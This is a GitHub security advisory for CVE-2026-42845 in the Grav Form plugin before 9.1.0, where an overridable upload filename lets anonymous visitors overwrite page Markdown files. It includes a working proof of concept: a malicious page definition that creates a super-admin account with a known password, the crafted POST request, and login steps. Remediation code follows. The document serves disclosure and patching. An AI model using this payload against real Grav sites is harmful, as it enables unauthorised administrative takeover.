GitHub Advisoryadvisory · Packagist

GHSA-w4rc-p66m-x6qq Grav Form Plugin has an Anonymous Page Content Overwrite via Form File Upload filename Override

HIGH Published 2026-05-06 Modified 2026-05-13 Official page ↗
Aliases
CVE-2026-42845
Ecosystem
Packagist
Packages
getgrav/grav-plugin-form
Severity
High
CVSS vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P
Weaknesses
CWE-20, CWE-73
Reviewed
2026-05-06

Affected packages

• Packagist getgrav/grav-plugin-form: < 9.1.0 → fixed in 9.1.0

Description

Summary (Tested on Form 9.0.3 released on April, 28th) The Form plugin's file upload handler at `user/plugins/form/classes/Form.php:583` accepts a POST-supplied `filename` parameter (`$filename = $post['filename'] ?? $upload['file']['name']`) that overrides the original uploaded filename. The override passes through `Utils::checkFilename()`, which blocks only a narrow extension list (`.php*`, `.htm*`, `.js`, `.exe`). Markdown (`.md`) is not blocked. A page's directory under `user/pages/` contains its `.md` content file (e.g. `default.md`, `form.md`). When a form's file upload field has `accept: ['*']` (or any policy that admits text files), an unauthenticated visitor can: 1. Upload arbitrary content with `filename=form.md` (or other page-content filenames), 2. Submit the form to trigger `Form::copyFiles()`, which overwrites the page's own `.md` file. Details Vulnerable code path `user/plugins/form/classes/Form.php:580-606` (in `uploadFiles()`): ```php $grav->fireEvent('onFormUploadSettings', new Event(['settings' => &$settings, 'post' => $post])); $upload = json_decode(json_encode($this->normalizeFiles($_FILES['data'], $settings->name)), true); $filename = $post['filename'] ?? $upload['file']['name']; // ← POST-controlled // ... if (!Utils::checkFilename($filename)) { // ← extension blocklist only return ['status' => 'error', 'message' => 'Bad filename']; } ``` `Utils::checkFilename()` (`system/src/Grav/Common/Utils.php:980`) blocks `..`, slashes, null bytes, leading/trailing dots, and the `uploads_dangerous_extensions` list. The default list contains: `php, php2-5, phar, phtml, html, htm, shtml, shtm, js, exe`. `md` is not on the list. The MIME check (lines 627-654) uses `Utils::getMimeByFilename($filename)` against the blueprint's `accept` list. With `accept: ['*']`, all filenames pass. After upload, the file is held in flash storage. When the form is submitted, `Form::copyFiles()` (`user/plugins/form/classes/Form.php:1041-1074`) calls `$upload->moveTo($destination)`: ```php $destination = $upload->getDestination(); // ← determined at upload time: // $destination = $page_dir . '/' . $filename $folder = $filesystem->dirname($destination); if (!is_dir($folder) && !@mkdir($folder, 0777, true) && !is_dir($folder)) { ... } $upload->moveTo($destination); ``` `moveTo()` does not check whether `$destination` is an existing protected file — if `form.md` (the page's own content) already exists at the destination, it is overwritten. A Grav page's `.md` file is parsed as YAML frontmatter + Markdown content. Whatever content the attacker uploaded becomes the new page definition. PoC Setup : Any existing page with a form like this — a "generic upload" form is the realistic case: ```yaml --- title: Upload your file form: name: upform fields: • {name: img, type: file, multiple: false, accept: ['*'], destination: 'self@'} • {name: notes, type: text} buttons: • {type: submit, value: Upload} process: • upload: true • display: thanks --- ``` 1. Atacker uploads a malicious md file that replaces the form's md file. Lets say the form is under the path `/upload`. ```yaml --- title: Pwned form: name: pwn fields: • {name: dummy, type: text} buttons: • {type: submit, value: Submit} process: • save: folder: '../accounts' filename: 'viaup.yaml' extension: yaml operation: create body: | state: enabled email: [email protected] fullname: Via Upload title: Admin access: admin: { login: true, super: true } site: { login: true } hashed_password: $2y$10$zGRm19Dk5ivMFZS5taMtU.O8WDUZpTqSsSg8JFs4SwOxJ/N6wl/Uq • display: thanks --- ``` (Hash above is bcrypt for `PwnPass123!`.) 2. Attacker accesses the new markdown file under the original path and loads the new markdown file `GET /upload`. 3. Attacker sends a form POST request to `/upload` and change the form_name to whatever the payload form name is. Keep in mind the nonce has to be valid. ``` POST /upload HTTP/1.1 ------geckoformboundary44d7ad8deb57480098493877a35ad715 Content-Disposition: form-data; name="data[_json][img]" [] ------geckoformboundary44d7ad8deb57480098493877a35ad715 Content-Disposition: form-data; name="data[notes]" ------geckoformboundary44d7ad8deb57480098493877a35ad715 Content-Disposition: form-data; name="__form-name__" pwn ------geckoformboundary44d7ad8deb57480098493877a35ad715 Content-Disposition: form-data; name="__unique_form_id__" 8r7q1iwdnnmcgkohlbtj ------geckoformboundary44d7ad8deb57480098493877a35ad715 Content-Disposition: form-data; name="form-nonce" 4e9417f0c7e89d1ab4e0dbe136ec78bd ------geckoformboundary44d7ad8deb57480098493877a35ad715-- ``` 4. Login as a newly created super admin user. Impact Grav pages that allows user to uploads any file (besides the ones in the blocklist) with the default `self@` configuration is able to upload a malicious markdown file to overwrite the existing markdown file. In this case, unauthenticated users were able to escalate their privileges to super-admin. Remediation Block sensitive page-content filenames at upload In `user/plugins/form/classes/Form.php`, after `Utils::checkFilename()` succeeds, add a content-area-aware check: ```php // Block files that would overwrite Grav page content if uploaded into // a page directory. Page templates are .md (Markdown) and .yaml/.yml // (frontmatter overrides). Block both for safety. $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $pageContentExtensions = ['md', 'yaml', 'yml', 'json', 'twig']; if (in_array($ext, $pageContentExtensions, true)) { return [ 'status' => 'error', 'message' => 'File type not allowed for upload (page content files are blocked)', ]; } ``` Add `md, yaml, yml, json, twig, ini` to the global `security.uploads_dangerous_extensions` list — these all carry executable semantics in Grav's runtime even though they are not "PHP".

Related

Alias · CVE (1)

  • CVE-2026-42845 The form plugin for Grav adds the ability to create and use forms. vulnerability

Weakness · CWE (2)

  • CWE-20 Improper Input Validation weakness
  • CWE-73 External Control of File Name or Path weakness

References